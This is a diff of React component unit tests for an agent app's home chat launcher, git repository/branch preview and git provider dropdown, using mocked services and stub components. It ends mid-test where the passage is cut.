+import { HomeChatLauncher } from "#/components/features/home/home-chat-launcher";
+import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api";
+import AutomationService from "#/api/automation-service/automation-service.api";
+import WorkspacesService from "#/api/workspaces-service/workspaces-service.api";
+import {
+  LAST_LOCAL_WORKSPACE_MODE_STORAGE_KEY,
+  writeStoredLocalWorkspaceMode,
+} from "#/utils/workspace-mode";
+
+const mockNavigate = vi.fn();
+const mockUseActiveBackend = vi.fn();
+const sendMessageWithAttachments = vi.fn();
+const mockClearAllFiles = vi.fn();
+const enqueueHomeTaskPendingMessage = vi.fn();
+const mockDisplayErrorToast = vi.fn();
+const mockUseLlmConfigured = vi.fn();
+
+let mockImages: File[] = [];
+let mockFiles: File[] = [];
+
+vi.mock("#/utils/send-message-with-attachments", () => ({
+  sendMessageWithAttachments: (...args: unknown[]) =>
+    sendMessageWithAttachments(...args),
+}));
+
+vi.mock("#/utils/enqueue-home-task-pending-message", () => ({
+  enqueueHomeTaskPendingMessage: (...args: unknown[]) =>
+    enqueueHomeTaskPendingMessage(...args),
+}));
+
+vi.mock("#/stores/conversation-store", () => ({
+  useConversationStore: () => ({
+    images: mockImages,
+    files: mockFiles,
+    imagesMarkedUploadAsFile: [],
+    clearAllFiles: mockClearAllFiles,
+  }),
+}));
+
+vi.mock("#/utils/custom-toast-handlers", async (importOriginal) => {
+  const actual =
+    await importOriginal<typeof import("#/utils/custom-toast-handlers")>();
+  return {
+    ...actual,
+    displayErrorToast: (...args: unknown[]) => mockDisplayErrorToast(...args),
+  };
+});
+
+vi.mock("react-i18next", () => ({
+  useTranslation: () => ({ t: (key: string) => key }),
+}));
+
+vi.mock("#/context/navigation-context", () => ({
+  useNavigation: () => ({
+    currentPath: "/",
+    conversationId: null,
+    isNavigating: false,
+    navigate: mockNavigate,
+  }),
+}));
+
+vi.mock("#/contexts/active-backend-context", () => ({
+  useActiveBackend: () => mockUseActiveBackend(),
+}));
+
+vi.mock("#/hooks/use-llm-configured", () => ({
+  useLlmConfigured: () => mockUseLlmConfigured(),
+}));
+
+vi.mock("#/hooks/use-is-creating-conversation", () => ({
+  useIsCreatingConversation: () => false,
+}));
+
+vi.mock("#/hooks/use-tracking", () => ({
+  useTracking: () => ({
+    trackConversationCreated: vi.fn(),
+  }),
+}));
+
+// Stub CustomChatInput as a simple button so the test can submit without
+// exercising the rich contenteditable / draft-persistence stack — those are
+// covered by their own unit tests. Pressing the stub button is the same
+// signal: "user submitted `hello world`".
+vi.mock("#/components/features/chat/custom-chat-input", () => ({
+  CustomChatInput: ({
+    onSubmit,
+    disabled,
+  }: {
+    onSubmit: (msg: string) => void;
+    disabled?: boolean;
+  }) => (
+    <button
+      type="button"
+      data-testid="stub-chat-submit"
+      disabled={disabled}
+      onClick={() => onSubmit("hello world")}
+    >
+      stub submit
+    </button>
+  ),
+}));
+
+// Stub the selection dialogs. We mirror the real component's contract:
+// `onConfirm(selection)` is followed by `onClose()` so the parent's pending
+// state is set and the dialog disappears.
+vi.mock("#/components/features/home/open-workspace-dialog", () => ({
+  OpenWorkspaceDialog: ({
+    isOpen,
+    onClose,
+    onConfirm,
+  }: {
+    isOpen: boolean;
+    onClose: () => void;
+    onConfirm: (w: { id: string; name: string; path: string }) => void;
+  }) =>
+    isOpen ? (
+      <button
+        type="button"
+        data-testid="stub-workspace-dialog-confirm"
+        onClick={() => {
+          onConfirm({ id: "/p/app", name: "app", path: "/p/app" });
+          onClose();
+        }}
+      >
+        confirm
+      </button>
+    ) : null,
+}));
+
+vi.mock("#/components/features/home/open-repository-dialog", () => ({
+  OpenRepositoryDialog: ({
+    isOpen,
+    onClose,
+    onConfirm,
+  }: {
+    isOpen: boolean;
+    onClose: () => void;
+    onConfirm: (s: {
+      repository: {
+        id: string;
+        full_name: string;
+        git_provider: "github";
+        is_public: boolean;
+      };
+      branch: { name: string };
+      provider: "github" | null;
+    }) => void;
+  }) =>
+    isOpen ? (
+      <button
+        type="button"
+        data-testid="stub-repo-dialog-confirm"
+        onClick={() => {
+          onConfirm({
+            repository: {
+              id: "1",
+              full_name: "org/repo",
+              git_provider: "github",
+              is_public: true,
+            },
+            branch: { name: "main" },
+            provider: "github",
+          });
+          onClose();
+        }}
+      >
+        confirm
+      </button>
+    ) : null,
+}));
+
+// HomeGitControlBarPreview pulls in settings + provider hooks we don't care
+// about for these tests. It's purely presentational once a selection is
+// confirmed, so a thin stub is sufficient.
+vi.mock("#/components/features/home/home-git-control-bar-preview", () => ({
+  HomeGitControlBarPreview: ({
+    workspaceMode,
+    backendKind,
+    onWorkspaceModeChange,
+  }: {
+    workspaceMode: "local_repo" | "new_worktree";
+    backendKind: "local" | "cloud";
+    onWorkspaceModeChange: (mode: "local_repo" | "new_worktree") => void;
+  }) => (
+    <div data-testid="stub-git-control-bar-preview">
+      <span data-testid="stub-workspace-mode">
+        {backendKind}:{workspaceMode}
+      </span>
+      <button
+        type="button"
+        data-testid="stub-workspace-mode-new-worktree"
+        onClick={() => onWorkspaceModeChange("new_worktree")}
+      >
+        New Worktree
+      </button>
+      <button
+        type="button"
+        data-testid="stub-workspace-mode-local-repo"
+        onClick={() => onWorkspaceModeChange("local_repo")}
+      >
+        Local Repo
+      </button>
+    </div>
+  ),
+}));
+
+// Stub the picker modal: pressing it selects one plugin then closes, mirroring
+// the real modal's `onChange` + `onClose` contract. The picker catalog itself
+// is covered by plugin-picker.test.tsx.
+vi.mock(
+  "#/components/features/automations/recommended-automations-launcher",
+  () => ({
+    RecommendedAutomationsLauncher: ({
+      variant,
+      className,
+    }: {
+      variant?: string;
+      className?: string;
+    }) =>
+      variant === "rail" ? (
+        <div data-testid="recommended-automations-rail" className={className} />
+      ) : null,
+  }),
+);
+
+vi.mock("#/components/features/plugins/plugin-picker-modal", () => ({
+  PluginPickerModal: ({
+    onChange,
+    onClose,
+  }: {
+    onChange: (next: { source: string; ref: null; repo_path: null }[]) => void;
+    onClose: () => void;
+  }) => (
+    <button
+      type="button"
+      data-testid="stub-plugin-pick"
+      onClick={() => {
+        onChange([{ source: "github:o/a", ref: null, repo_path: null }]);
+        onClose();
+      }}
+    >
+      pick
+    </button>
+  ),
+}));
+
+const renderLauncher = () =>
+  render(<HomeChatLauncher />, {
+    wrapper: ({ children }) => (
+      <QueryClientProvider
+        client={
+          new QueryClient({
+            defaultOptions: {
+              queries: { retry: false },
+              mutations: { retry: false },
+            },
+          })
+        }
+      >
+        {children}
+      </QueryClientProvider>
+    ),
+  });
+
+function makeConversationResponse(
+  overrides: Record<string, unknown> = {},
+): never {
+  return {
+    id: "conv-abc",
+    created_by_user_id: null,
+    status: "READY",
+    detail: null,
+    app_conversation_id: "conv-abc",
+    agent_server_url: "http://agent-server.local",
+    request: { initial_message: undefined, plugins: null },
+    created_at: new Date().toISOString(),
+    updated_at: new Date().toISOString(),
+    ...overrides,
+  } as never;
+}
+
+const localBackend = {
+  backend: {
+    id: "local-id",
+    name: "Local",
+    host: "http://localhost",
+    apiKey: "test",
+    kind: "local" as const,
+  },
+  orgId: null,
+};
+
+const cloudBackend = {
+  backend: {
+    id: "cloud-id",
+    name: "Cloud",
+    host: "https://cloud",
+    apiKey: "test",
+    kind: "cloud" as const,
+  },
+  orgId: null,
+};
+
+describe("HomeChatLauncher", () => {
+  beforeEach(() => {
+    vi.restoreAllMocks();
+    vi.clearAllMocks();
+    mockImages = [];
+    mockFiles = [];
+    mockUseActiveBackend.mockReturnValue(localBackend);
+    mockUseLlmConfigured.mockReturnValue({
+      isConfigured: true,
+      isLoading: false,
+    });
+    enqueueHomeTaskPendingMessage.mockResolvedValue(undefined);
+    sendMessageWithAttachments.mockResolvedValue({
+      text: "hello world",
+      content: "hello world",
+      imageUrls: ["data:image/png;base64,abc"],
+      fileUrls: [],
+      timestamp: "2020-01-01T00:00:00.000Z",
+    });
+    window.localStorage.removeItem(LAST_LOCAL_WORKSPACE_MODE_STORAGE_KEY);
+    vi.spyOn(WorkspacesService, "listWorkspaces").mockResolvedValue({
+      workspaces: [],
+      workspaceParents: [],
+    });
+    // The launcher mounts the pinned/running automation dashboards, whose
+    // queries would otherwise fire real axios XHRs into MSW. If such a
+    // request is still in flight when the file's jsdom environment is torn
+    // down, MSW's XHR interceptor throws `ReferenceError:
+    // XMLHttpRequestUpload is not defined` as an unhandled rejection.
+    // Mocking the underlying service keeps all automation traffic in-process.
+    vi.spyOn(AutomationService, "checkHealth").mockResolvedValue({
+      status: "ok",
+    });
+    vi.spyOn(AutomationService, "getAutomations").mockResolvedValue({
+      automations: [],
+      total: 0,
+    });
+  });
+
+  afterEach(() => {
+    toast.remove();
+    window.localStorage.removeItem(LAST_LOCAL_WORKSPACE_MODE_STORAGE_KEY);
+  });
+
+  it("creates a conversation with just the typed query and navigates when no workspace is selected", async () => {
+    const createSpy = vi
+      .spyOn(AgentServerConversationService, "createConversation")
+      .mockResolvedValue(makeConversationResponse());
+
+    renderLauncher();
+    const user = userEvent.setup();
+
+    await user.click(screen.getByTestId("stub-chat-submit"));
+
+    await waitFor(() => expect(createSpy).toHaveBeenCalledTimes(1));
+    expect(createSpy).toHaveBeenCalledWith({
+      initialUserMsg: "hello world",
+      metadata: null,
+    });
+    await waitFor(() =>
+      expect(mockNavigate).toHaveBeenCalledWith("/conversations/conv-abc"),
+    );
+  });
+
+  it("disables the chat input and won't create a conversation when no LLM is configured", async () => {
+    mockUseLlmConfigured.mockReturnValue({
+      isConfigured: false,
+      isLoading: false,
+    });
+    const createSpy = vi
+      .spyOn(AgentServerConversationService, "createConversation")
+      .mockResolvedValue(makeConversationResponse());
+
+    renderLauncher();
+
+    // The send is disabled, so the agent can't be handed a request it can't run.
+    expect(screen.getByTestId("stub-chat-submit")).toBeDisabled();
+    expect(createSpy).not.toHaveBeenCalled();
+  });
+
+  it("passes the picked workspace path as working_dir on a local backend", async () => {
+    const createSpy = vi
+      .spyOn(AgentServerConversationService, "createConversation")
+      .mockResolvedValue(
+        makeConversationResponse({ app_conversation_id: "conv-ws" }),
+      );
+
+    renderLauncher();
+    const user = userEvent.setup();
+
+    await user.click(screen.getByTestId("open-workspace-button"));
+    await user.click(
+      await screen.findByTestId("stub-workspace-dialog-confirm"),
+    );
+    await user.click(screen.getByTestId("stub-chat-submit"));
+
+    await waitFor(() => expect(createSpy).toHaveBeenCalledTimes(1));
+    expect(createSpy).toHaveBeenCalledWith({
+      initialUserMsg: "hello world",
+      metadata: null,
+      workingDirOverride: "/p/app",
+      workspaceMode: "local_repo",
+    });
+    await waitFor(() =>
+      expect(mockNavigate).toHaveBeenCalledWith("/conversations/conv-ws"),
+    );
+  });
+
+  it("passes the picked workspace path with new-worktree mode when selected", async () => {
+    const createSpy = vi
+      .spyOn(AgentServerConversationService, "createConversation")
+      .mockResolvedValue(
+        makeConversationResponse({ app_conversation_id: "conv-wt" }),
+      );
+
+    renderLauncher();
+    const user = userEvent.setup();
+
+    await user.click(screen.getByTestId("open-workspace-button"));
+    await user.click(
+      await screen.findByTestId("stub-workspace-dialog-confirm"),
+    );
+    expect(screen.getByTestId("stub-workspace-mode")).toHaveTextContent(
+      "local:local_repo",
+    );
+
+    await user.click(screen.getByTestId("stub-workspace-mode-new-worktree"));
+    expect(screen.getByTestId("stub-workspace-mode")).toHaveTextContent(
+      "local:new_worktree",
+    );
+    await user.click(screen.getByTestId("stub-chat-submit"));
+
+    await waitFor(() => expect(createSpy).toHaveBeenCalledTimes(1));
+    expect(createSpy).toHaveBeenCalledWith({
+      initialUserMsg: "hello world",
+      metadata: null,
+      workingDirOverride: "/p/app",
+      workspaceMode: "new_worktree",
+    });
+    await waitFor(() =>
+      expect(mockNavigate).toHaveBeenCalledWith("/conversations/conv-wt"),
+    );
+  });
+
+  it("restores and updates the last selected local workspace mode", async () => {
+    writeStoredLocalWorkspaceMode("new_worktree");
+    const { unmount } = renderLauncher();
+    const user = userEvent.setup();
+
+    await user.click(screen.getByTestId("open-workspace-button"));
+    await user.click(
+      await screen.findByTestId("stub-workspace-dialog-confirm"),
+    );
+
+    expect(screen.getByTestId("stub-workspace-mode")).toHaveTextContent(
+      "local:new_worktree",
+    );
+
+    await user.click(screen.getByTestId("stub-workspace-mode-local-repo"));
+    expect(screen.getByTestId("stub-workspace-mode")).toHaveTextContent(
+      "local:local_repo",
+    );
+
+    unmount();
+    renderLauncher();
+
+    await user.click(screen.getByTestId("open-workspace-button"));
+    await user.click(
+      await screen.findByTestId("stub-workspace-dialog-confirm"),
+    );
+
+    expect(screen.getByTestId("stub-workspace-mode")).toHaveTextContent(
+      "local:local_repo",
+    );
+  });
+
+  it("disables the local workspace launcher when the agent server is too old", async () => {
+    vi.spyOn(WorkspacesService, "listWorkspaces").mockRejectedValue({
+      code: "AGENT_SERVER_VERSION_TOO_OLD",
+      feature: "workspaces",
+      requiredVersion: "1.23.0",
+      actualVersion: "1.22.1",
+    });
+
+    renderLauncher();
+    const user = userEvent.setup();
+    await waitFor(() =>
+      expect(screen.getByTestId("open-workspace-button")).toBeDisabled(),
+    );
+    const button = screen.getByTestId("open-workspace-button");
+    await user.hover(button.parentElement ?? button);
+
+    expect(
+      await screen.findByText("HOME$WORKSPACES_UNSUPPORTED_AGENT_SERVER"),
+    ).toBeInTheDocument();
+  });
+
+  it("passes the picked repository + branch payload on a cloud backend", async () => {
+    mockUseActiveBackend.mockReturnValue(cloudBackend);
+    const createSpy = vi
+      .spyOn(AgentServerConversationService, "createConversation")
+      .mockResolvedValue(
+        makeConversationResponse({ app_conversation_id: "conv-repo" }),
+      );
+
+    renderLauncher();
+    const user = userEvent.setup();
+
+    await user.click(screen.getByTestId("open-repository-button"));
+    await user.click(await screen.findByTestId("stub-repo-dialog-confirm"));
+    await user.click(screen.getByTestId("stub-chat-submit"));
+
+    await waitFor(() => expect(createSpy).toHaveBeenCalledTimes(1));
+    expect(createSpy).toHaveBeenCalledWith({
+      initialUserMsg: "hello world",
+      metadata: {
+        selected_repository: "org/repo",
+        selected_branch: "main",
+        git_provider: "github",
+      },
+    });
+    await waitFor(() =>
+      expect(mockNavigate).toHaveBeenCalledWith("/conversations/conv-repo"),
+    );
+  });
+
+  it("does not pass query to createConversation when attachments are present", async () => {
+    mockImages = [new File(["x"], "shot.png", { type: "image/png" })];
+    const createSpy = vi
+      .spyOn(AgentServerConversationService, "createConversation")
+      .mockResolvedValue(makeConversationResponse());
+
+    renderLauncher();
+    const user = userEvent.setup();
+    await user.click(screen.getByTestId("stub-chat-submit"));
+
+    await waitFor(() => expect(createSpy).toHaveBeenCalledTimes(1));
+    expect(createSpy).toHaveBeenCalledWith({
+      metadata: null,
+    });
+    await waitFor(() =>
+      expect(sendMessageWithAttachments).toHaveBeenCalledTimes(1),
+    );
+    expect(mockClearAllFiles).toHaveBeenCalled();
+    await waitFor(() =>
+      expect(mockNavigate).toHaveBeenCalledWith("/conversations/conv-abc"),
+    );
+  });
+
+  it("surfaces a toast and skips navigation when conversation creation fails", async () => {
+    vi.spyOn(
+      AgentServerConversationService,
+      "createConversation",
+    ).mockRejectedValue(new Error("Network down"));
+
+    renderLauncher();
+    const user = userEvent.setup();
+    await user.click(screen.getByTestId("stub-chat-submit"));
+
+    await waitFor(() => expect(mockDisplayErrorToast).toHaveBeenCalled());
+    expect(mockNavigate).not.toHaveBeenCalled();
+  });
+
+  it("enqueues an optimistic pending message when cloud returns a start task", async () => {
+    mockUseActiveBackend.mockReturnValue(cloudBackend);
+    const createSpy = vi
+      .spyOn(AgentServerConversationService, "createConversation")
+      .mockResolvedValue(
+        makeConversationResponse({
+          id: "start-task-1",
+          app_conversation_id: null,
+        }),
+      );
+
+    renderLauncher();
+    const user = userEvent.setup();
+    await user.click(screen.getByTestId("stub-chat-submit"));
+
+    await waitFor(() => expect(createSpy).toHaveBeenCalledTimes(1));
+    await waitFor(() =>
+      expect(enqueueHomeTaskPendingMessage).toHaveBeenCalledWith({
+        conversationId: "task-start-task-1",
+        text: "hello world",
+        images: [],
+        imagesMarkedUploadAsFile: [],
+      }),
+    );
+    await waitFor(() =>
+      expect(mockNavigate).toHaveBeenCalledWith(
+        "/conversations/task-start-task-1",
+      ),
+    );
+  });
+
+  it("defers attachments and enqueues an optimistic pending message for cloud start tasks", async () => {
+    mockUseActiveBackend.mockReturnValue(cloudBackend);
+    mockImages = [new File(["x"], "shot.png", { type: "image/png" })];
+    const createSpy = vi
+      .spyOn(AgentServerConversationService, "createConversation")
+      .mockResolvedValue(
+        makeConversationResponse({
+          id: "start-task-2",
+          app_conversation_id: null,
+        }),
+      );
+
+    renderLauncher();
+    const user = userEvent.setup();
+    await user.click(screen.getByTestId("stub-chat-submit"));
+
+    await waitFor(() => expect(createSpy).toHaveBeenCalledTimes(1));
+    expect(createSpy).toHaveBeenCalledWith({
+      metadata: null,
+    });
+    expect(sendMessageWithAttachments).not.toHaveBeenCalled();
+    await waitFor(() =>
+      expect(enqueueHomeTaskPendingMessage).toHaveBeenCalledWith({
+        conversationId: "task-start-task-2",
+        text: "hello world",
+        images: mockImages,
+        imagesMarkedUploadAsFile: [],
+      }),
+    );
+    await waitFor(() =>
+      expect(mockNavigate).toHaveBeenCalledWith(
+        "/conversations/task-start-task-2",
+      ),
+    );
+  });
+
+  it("attaches the picked plugins to the created conversation", async () => {
+    const createSpy = vi
+      .spyOn(AgentServerConversationService, "createConversation")
+      .mockResolvedValue(makeConversationResponse());
+
+    renderLauncher();
+    const user = userEvent.setup();
+
+    await user.click(screen.getByTestId("open-plugin-picker"));
+    await user.click(await screen.findByTestId("stub-plugin-pick"));
+    await user.click(screen.getByTestId("stub-chat-submit"));
+
+    await waitFor(() => expect(createSpy).toHaveBeenCalledTimes(1));
+    expect(createSpy).toHaveBeenCalledWith({
+      initialUserMsg: "hello world",
+      plugins: [{ source: "github:o/a", ref: null, repo_path: null }],
+      metadata: null,
+    });
+  });
+
+  it("always renders the recommended automations rail above pinned activity", () => {
+    renderLauncher();
+
+    expect(
+      screen.getByTestId("recommended-automations-rail"),
+    ).toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/features/home/home-git-selection-preview.test.tsx b/__tests__/components/features/home/home-git-selection-preview.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..82e23e6d918d08f67dbd54dc389c9a96d5a9996a
--- /dev/null
+++ b/__tests__/components/features/home/home-git-selection-preview.test.tsx
@@ -0,0 +1,212 @@
+import type { ComponentProps } from "react";
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, expect, it, vi } from "vitest";
+import type { GitControlBarRepoButton as RepoButtonComponent } from "#/components/features/chat/git-control-bar-repo-button";
+import type { GitControlBarBranchButton as BranchButtonComponent } from "#/components/features/chat/git-control-bar-branch-button";
+import type { WorkspaceModeSelector as WorkspaceModeSelectorComponent } from "#/components/features/chat/workspace-mode-selector";
+import { HomeGitControlBarPreview } from "#/components/features/home/home-git-control-bar-preview";
+import type { Branch, GitRepository } from "#/types/git";
+import type { LocalWorkspace } from "#/types/workspace";
+
+type RepoButtonProps = ComponentProps<typeof RepoButtonComponent>;
+type BranchButtonProps = ComponentProps<typeof BranchButtonComponent>;
+type WorkspaceModeSelectorProps = ComponentProps<
+  typeof WorkspaceModeSelectorComponent
+>;
+
+vi.mock("#/components/features/chat/git-control-bar-repo-button", () => ({
+  GitControlBarRepoButton: ({
+    selectedRepository,
+    gitProvider,
+    workspaceName,
+    onClick,
+  }: RepoButtonProps) => (
+    <button type="button" data-testid="repo-preview" onClick={onClick}>
+      <span data-testid="repo-name">{selectedRepository ?? "none"}</span>
+      <span data-testid="repo-provider">{gitProvider ?? "none"}</span>
+      <span data-testid="workspace-name">{workspaceName ?? "none"}</span>
+    </button>
+  ),
+}));
+
+vi.mock("#/components/features/chat/git-control-bar-branch-button", () => ({
+  GitControlBarBranchButton: ({
+    selectedBranch,
+    selectedRepository,
+    gitProvider,
+  }: BranchButtonProps) => (
+    <div data-testid="branch-preview">
+      <span data-testid="branch-name">{selectedBranch ?? "none"}</span>
+      <span data-testid="branch-repository">
+        {selectedRepository ?? "none"}
+      </span>
+      <span data-testid="branch-provider">{gitProvider ?? "none"}</span>
+    </div>
+  ),
+}));
+
+vi.mock("#/components/features/chat/workspace-mode-selector", () => ({
+  WorkspaceModeSelector: ({
+    value,
+    backendKind,
+    onChange,
+  }: WorkspaceModeSelectorProps) => (
+    <button
+      type="button"
+      data-testid="workspace-mode-preview"
+      data-value={value}
+      data-backend-kind={backendKind}
+      onClick={() =>
+        onChange(value === "local_repo" ? "new_worktree" : "local_repo")
+      }
+    >
+      Change workspace mode
+    </button>
+  ),
+}));
+
+type PreviewProps = ComponentProps<typeof HomeGitControlBarPreview>;
+
+function createWorkspace(
+  overrides: Partial<LocalWorkspace> = {},
+): LocalWorkspace {
+  return {
+    id: "workspace-1",
+    name: "Agent Canvas",
+    path: "/workspace/agent-canvas",
+    ...overrides,
+  };
+}
+
+function createRepository(
+  overrides: Partial<GitRepository> = {},
+): GitRepository {
+  return {
+    id: "repository-1",
+    full_name: "OpenHands/agent-canvas",
+    git_provider: "github",
+    is_public: true,
+    ...overrides,
+  };
+}
+
+function createBranch(overrides: Partial<Branch> = {}): Branch {
+  return {
+    name: "main",
+    commit_sha: "abc123",
+    protected: true,
+    ...overrides,
+  };
+}
+
+function createPreviewProps(
+  overrides: Partial<PreviewProps> = {},
+): PreviewProps {
+  return {
+    workspace: createWorkspace(),
+    repository: createRepository(),
+    branch: createBranch(),
+    provider: "github",
+    workspaceMode: "local_repo",
+    backendKind: "local",
+    onRepoClick: vi.fn(),
+    onWorkspaceModeChange: vi.fn(),
+    ...overrides,
+  };
+}
+
+describe("home git selection preview", () => {
+  it("shows a complete selection and forwards both controls", async () => {
+    const user = userEvent.setup();
+    const props = createPreviewProps({
+      workspace: createWorkspace({ path: "/workspace/review-target///" }),
+    });
+
+    render(<HomeGitControlBarPreview {...props} />);
+
+    expect(
+      screen.getByTestId("home-git-control-bar-preview"),
+    ).toBeInTheDocument();
+    expect(screen.getByTestId("repo-name")).toHaveTextContent(
+      "OpenHands/agent-canvas",
+    );
+    expect(screen.getByTestId("repo-provider")).toHaveTextContent("github");
+    expect(screen.getByTestId("workspace-name")).toHaveTextContent(
+      /^review-target$/,
+    );
+    expect(screen.getByTestId("workspace-mode-preview")).toHaveAttribute(
+      "data-value",
+      "local_repo",
+    );
+    expect(screen.getByTestId("workspace-mode-preview")).toHaveAttribute(
+      "data-backend-kind",
+      "local",
+    );
+    expect(screen.getByTestId("branch-name")).toHaveTextContent("main");
+    expect(screen.getByTestId("branch-repository")).toHaveTextContent(
+      "OpenHands/agent-canvas",
+    );
+    expect(screen.getByTestId("branch-provider")).toHaveTextContent("github");
+
+    await user.click(screen.getByTestId("repo-preview"));
+    await user.click(screen.getByTestId("workspace-mode-preview"));
+
+    expect(props.onRepoClick).toHaveBeenCalledOnce();
+    expect(props.onWorkspaceModeChange).toHaveBeenCalledWith("new_worktree");
+  });
+
+  it("keeps only the repository control when there is no selection", () => {
+    render(
+      <HomeGitControlBarPreview
+        {...createPreviewProps({
+          workspace: null,
+          repository: null,
+          branch: null,
+          provider: null,
+        })}
+      />,
+    );
+
+    expect(screen.getByTestId("repo-preview")).toBeInTheDocument();
+    expect(screen.getByTestId("repo-name")).toHaveTextContent("none");
+    expect(screen.getByTestId("repo-provider")).toHaveTextContent("none");
+    expect(screen.getByTestId("workspace-name")).toHaveTextContent("none");
+    expect(
+      screen.queryByTestId("workspace-mode-preview"),
+    ).not.toBeInTheDocument();
+    expect(screen.queryByTestId("branch-preview")).not.toBeInTheDocument();
+  });
+
+  it("falls back to the full workspace path and shows an unlinked branch", async () => {
+    const user = userEvent.setup();
+    const props = createPreviewProps({
+      workspace: createWorkspace({ path: "/" }),
+      repository: null,
+      branch: createBranch({ name: "feature/local" }),
+      provider: null,
+      workspaceMode: "new_worktree",
+      backendKind: "cloud",
+    });
+
+    render(<HomeGitControlBarPreview {...props} />);
+
+    expect(screen.getByTestId("workspace-name")).toHaveTextContent("/");
+    expect(screen.getByTestId("workspace-mode-preview")).toHaveAttribute(
+      "data-value",
+      "new_worktree",
+    );
+    expect(screen.getByTestId("workspace-mode-preview")).toHaveAttribute(
+      "data-backend-kind",
+      "cloud",
+    );
+    expect(screen.getByTestId("branch-name")).toHaveTextContent(
+      "feature/local",
+    );
+    expect(screen.getByTestId("branch-repository")).toHaveTextContent("none");
+    expect(screen.getByTestId("branch-provider")).toHaveTextContent("none");
+
+    await user.click(screen.getByTestId("workspace-mode-preview"));
+    expect(props.onWorkspaceModeChange).toHaveBeenCalledWith("local_repo");
+  });
+});
diff --git a/__tests__/components/features/home/provider-selection.test.tsx b/__tests__/components/features/home/provider-selection.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..efed6ce30f09b0536f895c796e76823dd2f491ea
--- /dev/null
+++ b/__tests__/components/features/home/provider-selection.test.tsx
@@ -0,0 +1,403 @@
+import React from "react";
+import { renderToStaticMarkup } from "react-dom/server";
+import { render, screen, waitFor, within } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, expect, it, vi } from "vitest";
+import { GitProviderDropdown } from "#/components/features/home/git-provider-dropdown/git-provider-dropdown";
+import type { Provider } from "#/types/settings";
+
+const useTranslationMock = vi.hoisted(() => vi.fn());
+
+vi.mock("react-i18next", () => ({
+  useTranslation: (namespace?: unknown) => {
+    useTranslationMock(namespace);
+    return {
+      t: (key: string) =>
+        ({
+          COMMON$SELECT_PROVIDER_PLACEHOLDER: "Select provider",
+          COMMON$TOGGLE_MENU: "Toggle menu",
+        })[key] ?? key,
+    };
+  },
+}));
+
+const ALL_PROVIDERS: Provider[] = [
+  "github",
+  "gitlab",
+  "bitbucket",
+  "bitbucket_data_center",
+  "azure_devops",
+  "forgejo",
+];
+
+type DropdownProps = React.ComponentProps<typeof GitProviderDropdown>;
+
+function createProps(overrides: Partial<DropdownProps> = {}): DropdownProps {
+  return {
+    providers: ALL_PROVIDERS,
+    onChange: vi.fn(),
+    ...overrides,
+  };
+}
+
+function ControlledDropdown({ onChange, value, ...props }: DropdownProps) {
+  const [selectedProvider, setSelectedProvider] =
+    React.useState<Provider | null>(value ?? null);
+
+  return (
+    <GitProviderDropdown
+      {...props}
+      value={selectedProvider}
+      onChange={(provider) => {
+        setSelectedProvider(provider);
+        onChange?.(provider);
+      }}
+    />
+  );
+}
+
+describe("git provider selection", () => {
+  it("includes the controlled provider in the initial markup", () => {
+    const emptyMarkup = renderToStaticMarkup(
+      <GitProviderDropdown providers={ALL_PROVIDERS} />,
+    );
+    const selectedMarkup = renderToStaticMarkup(
+      <GitProviderDropdown providers={ALL_PROVIDERS} value="gitlab" />,
+    );
+
+    expect(emptyMarkup).toContain('value=""');
+    expect(selectedMarkup).toContain("pl-6");
+    expect(selectedMarkup).toContain("min-w-[14px]");
+  });
+
+  it("lists every provider with its user-facing name and selects one", async () => {
+    const user = userEvent.setup();
+    useTranslationMock.mockClear();
+    const props = createProps({
+      className: "provider-root",
+      inputClassName: "provider-input",
+      toggleButtonClassName: "provider-toggle-icon",
+      itemClassName: "provider-option",
+    });
+
+    render(<ControlledDropdown {...props} />);
+
+    const input = screen.getByTestId("git-provider-dropdown");
+    expect(useTranslationMock).toHaveBeenNthCalledWith(1, "openhands");
+    expect(input).toHaveAttribute("placeholder", "Select provider");
+    expect(input).toHaveAttribute("readonly");
+    expect(input.parentElement?.parentElement).toHaveClass(
+      "relative",
+      "provider-root",
+    );
+    expect(input).toHaveClass(
+      "provider-input",
+      "w-29.5",
+      "border",
+      "rounded",
+      "text-inherit",
+      "bg-tertiary",
+      "placeholder:text-[var(--oh-muted)]",
+      "focus:outline-none",
+      "focus:ring-0",
+      "focus:border-[var(--oh-border-input)]",
+      "disabled:bg-tertiary",
+      "disabled:cursor-not-allowed",
+      "disabled:opacity-60",
+      "pl-1.5",
+      "pr-[1px]",
+      "cursor-pointer",
+      "text-xs",
+      "font-normal",
+      "leading-5",
+    );
+    expect(screen.queryByTestId("dropdown-loading")).not.toBeInTheDocument();
+    expect(
+      screen.getByRole("button", { name: "Toggle menu" }).querySelector("svg"),
+    ).toHaveClass("provider-toggle-icon");
+
+    await user.click(input);
+
+    expect(
+      screen.getAllByRole("option").map((option) => option.textContent),
+    ).toEqual([
+      "GitHub",
+      "GitLab",
+      "Bitbucket",
+      "Bitbucket Data Center",
+      "Azure DevOps",
+      "Forgejo",
+    ]);
+    expect(screen.getByRole("option", { name: "GitLab" })).toHaveClass(
+      "provider-option",
+    );
+
+    await user.click(screen.getByRole("option", { name: "GitLab" }));
+
+    expect(props.onChange).toHaveBeenCalledWith("gitlab");
+    expect(props.onChange).toHaveBeenCalledTimes(1);
+    await waitFor(() => expect(input).toHaveValue("GitLab"));
+    expect(input).toHaveClass("pl-6");
+    expect(input.previousElementSibling).toHaveClass(
+      "absolute",
+      "left-2",
+      "z-10",
+    );
+    expect(input.previousElementSibling?.querySelector("svg")).toHaveClass(
+      "min-w-[14px]",
+      "h-[14px]",
+    );
+    expect(screen.queryByRole("option")).not.toBeInTheDocument();
+  });
+
+  it("updates the available options when the providers prop changes", async () => {
+    const user = userEvent.setup();
+    const { rerender } = render(
+      <GitProviderDropdown {...createProps({ providers: ["github"] })} />,
+    );
+    const input = screen.getByTestId("git-provider-dropdown");
+
+    await user.click(input);
+    expect(screen.getAllByRole("option")).toHaveLength(1);
+    expect(screen.getByRole("option", { name: "GitHub" })).toBeVisible();
+    await user.keyboard("{Escape}");
+
+    rerender(
+      <GitProviderDropdown
+        {...createProps({ providers: ["gitlab", "azure_devops"] })}
+      />,
+    );
+    await user.click(input);
+
+    expect(
+      screen.getAllByRole("option").map((option) => option.textContent),
